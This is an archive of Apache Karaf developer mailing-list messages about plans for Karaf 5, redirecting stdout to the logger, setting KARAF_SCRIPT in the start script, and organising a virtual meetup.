Von: Jean-Baptiste Onofre 
Gesendet: Tuesday, December 15, 2020 6:32:15 PM
An: dev@karaf.apache.org ; u...@karaf.apache.org 

Betreff: [X-Mas Gift] Panel discussion about Karaf 5

Hi guys,

Maybe some of you know that I started to work on Karaf 5.

I have something that it’s almost "usable".

Before sending a global discussion thread on the mailing list, I would like to 
evaluate the ideas & big changes I did.

I would like to know if some of you would be interested by a panel discussion 
call to introduce Karaf 5 (limited audience at first step).

The agenda of this call would be:
1. Pros/Cons about Karaf as it is today
2. Concepts in Karaf 5 (module, extension, …)
3. Building & running
4. Live demo

It could be recorded/webinar style (not necessary live call) for about 20 
people at first step (both Karaf developers and users).
The purpose is to evaluate the direction.

Thoughts ?
Who would be interested ?

Thanks,
Regards
JB

Re: Thinking about Karaf 5 modulith runtime

[Bernd Eckenfels]

Hallo,

want to contribute to the discussion as well. We recently migrated a very large 
codebase from JbossOSGi to Karaf. The main reason was that we already had 
invested a lot into OSGi and that with Karaf you can more selectively expand 
platform functions.

For the future of Karaf this means: it should still be open to different 
framework and libraries, it can still benefit from OSGi. Some newer frameworks 
like CDI and Micro Profile should be present.

It’s unlikely that spring boot or quarks users would switch, but if you can use 
spring or cdi then there is a change some people would consider Karaf. The 
biggest stream of users is expected to come from the JavaEE camp, if they can 
keep using those APIs and also get many of the JakartaEE implementations Karaf 
would be a good runtime for at least those...

Having said that, working on the footprint of Karaf is certainly a good goal, 
as well as support for deploying a collection of libraries without the need to 
wrap all in bundles would be starter friendly (but in the end it’s a non issue 
for us).

Gruss
Bernd


--
http://bernd.eckenfels.net

Von: Jean-Baptiste Onofre 
Gesendet: Monday, November 9, 2020 6:20:26 AM
An: dev@karaf.apache.org 
Betreff: Re: Thinking about Karaf 5 modulith runtime

Hi Lukasz,

And thanks for your feedback. I think it’s a fair feedback about the current 
situation.

I think Karaf is one thing and OSGi is another one (for a project perspective).
So, we can drive Karaf roadmap to something different if it makes sense.

Remember, first ServiceMix version was Spring focus before moving to OSGi.
So the other way around can be true.

We can use OSGi internally, and provide some user facing different approaches.

Karaf devx/tool is the first thing to achieve: improve developer experience, 
simplify test and runtime assembly.

I agree that we don’t have the marketing power of Pivotal (we are "real" open 
source project after all ;)) and we don’t have a single company providing 
marketing power.

I think we have two personas:

1. People already using Karaf, and for them, we have to improve and provide a 
better runtime generally speaking for sure
2. People not using Karaf, using spring boot, cdi, whatever. I doubt we will 
convince them to switch to Karaf with another programming framework. The 
purpose is more to try to attract them with a runtime directly supporting their 
applications but providing adhoc features out of the box for them (the purpose 
of a runtime).

That’s what I have in mind for now: improve (thanks for devx and other new 
features), and attract.

Regards
JB

> Le 9 nov. 2020 à 02:42, Łukasz Dywicki  a écrit :
>
> I am quite late for this discussion and haven't watched your ApacheCon
> talk, hence pardon my points if they're wrong.
>
> Reorganizing code base is highly appreciated since karaf source tree
> grew since 2.x without any major changes in directory structure.
> Till these days it is confusing to me where "enterprise" features come
> from (in terms of maven POM) and where "framework-static" lives.
> I do believe that improving tooling and docs will help a lot. I keep
> getting into troubles with tooling every-so-often.
>
>
> The question where Karaf should or could go.. that's quite difficult to
> answer. From what I see OSGi marketplace is shrinking year-to-year and
> recent move/merger of OSGi Alliance with Eclipse Foundation is, in my
> personal opinion, result of deep organization failure. It simply did not
> attract enough of people to use, promote and pay for their certification.
> Beside Eclipse IDE there are still many products which are based on OSGi
> itself. Yet thanks to above move OSGi and Eclipse are closer than
> before making all black PR of Eclipse IDE directly transferable to
> entire OSGi ecosystem.
>
> In curium stances we have we need to be rationale about whether we can
> or can not fight for "microservices" term any more and if any major
> changes will move us ahead.
> I doubt if positioning Apache Karaf as an alternative to Spring Boot or
> other tools in this category will help. I think they fight for slightly
> different projects than we ever did. Karaf always been middleware
> platform and not application framework. Making apps on top of it is
> doable, but probably done mainly by people who used runtime already and
> didn't want to complicate deployment. We're pretty far from being first
> choice for application runtime as there are quite many alternatives.
> Most of applications will not even feel benefit of OSGi.
> We simply have no marketing power to fight over media buzz sustained by
> other (especially Spring) communities. Most importantly we have no man
> power to keep up all satellite projects around. The nature of
> Spring/Pivotal development is based on number of paid developers and
> consultants who actively contribute to development of their ecosystem
> components. Above all they keep doing technical sales promising fast
> 

Stout redirection

[Bernd Eckenfels]

Hello,

In Karaf Console the stdout is automatically redirected, however for other 
components in the runtime there seems to be no redirection to the standard 
logger.

Is there a setting I can use. Besides some unwilling software components which 
might use System.err, things like java.net.debug logging would be nice to have 
in the logfile.

Gruss
Bernd

--
http://bernd.eckenfels.net

Re: KARAF_SCRIPT conditionally set?

[Bernd Eckenfels]

Hello JB,

I am proposing to set KARAF_SCRIPT to the name of the script without first 
checking if it was already set. This way it is always "start" or "karaf" 
independend if it has been set before.

I don't see a condition where you would want to inherit a different script name 
when initializing the start script.

wheter to use PROGNAME instead of the literal is up for discussion, I would go 
with the literal. It should be aligned with the .bat file however, in the 
moment they differ (and I am not sure why)

Gruss
Bernd
--
http://bernd.eckenfels.net

Von: Jean-Baptiste Onofre 
Gesendet: Friday, July 10, 2020 6:39:32 AM
An: dev@karaf.apache.org 
Betreff: Re: KARAF_SCRIPT conditionally set?

Hi Bernd,

I’m not sure to see exactly the issue.

Content of KARAF_SCRIPT is passed to setenv right ?

Basically, you are proposing to use setenv before checking KARAF_SCRIPT, 
correct ?

Regards
JB

> Le 9 juil. 2020 à 12:53, Bernd  a écrit :
>
> Hello,
>
> The Karaf scripts have a mechanism to set KARAF_SCRIPT and then delegate
> common config settings to setenv. The mechanism has however two quirks,
> first of all if a script already sees a KARAF_SRIPT value it will not reset
> it, and secondly it will use the PROGNAME of the script.
>
> In default Karaf installation this seems to be not an issue, since the
> condition on KARAF_SCRIPT in setenv is only a comment. However we do use
> this mechanism to set settings for the main application server start and
> for all other commands).
>
> We check for KARAF_SCRIPT=start or KARAFAF_SCRIPT=karaf. However if rename
> start to start2 or if I call it from another script which also sets
> KARAF_SCRIPT in both cases the value passed to setenv is not "start" or
> "karaf" and therefore it will pick the wrong settings.
>
> I wonder if it would better to set the KARAF_SCRIPT settings
> unconditionally in start and karaf. Not using PROGNAME would be another
> option, nut sure if it is good or bad that a renamed script uses different
> settings...?
>
> A more general comment, a lot of environemnt variables used internal in the
> scripts might be inherited from the current shell, that is somewhat a
> support problem in our experience. Did you had a discussion on that,
> already?
>
> start:
> https://github.com/apache/karaf/blob/25b1a00ab6b2330a469c244c4abc1389aaad5313/assemblies/features/base/src/main/filtered-resources/resources/bin/start#L71
> if [ "x${KARAF_SCRIPT}" = "x" ]; then
> KARAF_SCRIPT="${PROGNAME}"
> export KARAF_SCRIPT
> fi
> if [ -f "${DIRNAME}/setenv" ]; then
> . "${DIRNAME}/setenv"
> fi

Re: [UPDATE] Karaf Virtual Meetup preparation

[Bernd Eckenfels]

Sorry to bother, my meetup password Rest Mail does not arrive, can you mail me 
the link, please?


--
http://bernd.eckenfels.net

Von: Francois Papon 
Gesendet: Thursday, April 30, 2020 3:18:06 PM
An: dev@karaf.apache.org ; Jean-Baptiste Onofre 
; u...@karaf.apache.org 
Betreff: Re: [UPDATE] Karaf Virtual Meetup preparation

Yeah!

See you soon guys!

regards,

François
fpa...@apache.org

Le 30/04/2020 à 15:14, Jean-Baptiste Onofre a écrit :
> Hi everyone,
>
> We are pretty close to the first Karaf Meetup ! I hope you are as excited as 
> I am !
>
> Just last details: the zoom URL is valid and you don’t need password. Just 
> join at 6pm (GMT+1).
>
> Achim and I will moderate.
>
> See you during meetup !
>
> Regards
> JB
>
>> Le 28 avr. 2020 à 13:49, Jean-Baptiste Onofre  a écrit :
>>
>> Hi,
>>
>> Yes, I’m just waiting for a talk confirmation to share the full schedule.
>>
>> However, here’s the rough agenda:
>>
>> 6pm - Introduction, connecting and welcome
>> 6:30pm - Apache Karaf on the cloud (JB)
>> 7:10pm - Talk to be confirmed
>> 7:45pm - Apache Karaf ecosystem roadmap: dev experience, tooling, …
>> 8pm - Wrapping up
>>
>> It might change a bit (I can do the second talk if needed).
>>
>> About the logistic, you have to register on meetup.com . 
>> We will share a zoom URL on meetup.com  and I will send 
>> a personal password for each registered attendee.
>>
>> Regards
>> JB
>>
>>> Le 28 avr. 2020 à 12:06, Łukasz Dywicki >> > a écrit :
>>>
>>> Any updates on this?
>>>
>>> On 25.04.2020 07:37, Jean-Baptiste Onofre wrote:
 Hi everyone,

 Just a quick update to let you know that we will have a call with Achim
 on Monday to prepare the Karaf Virtual Meetup scheduled on Thursday.

 I will share the schedule and details on Monday evening both on the
 mailing list and meetup.com  >.

 For the presenters, I will send an email directly to you with the
 organisation.

 Regards
 JB
>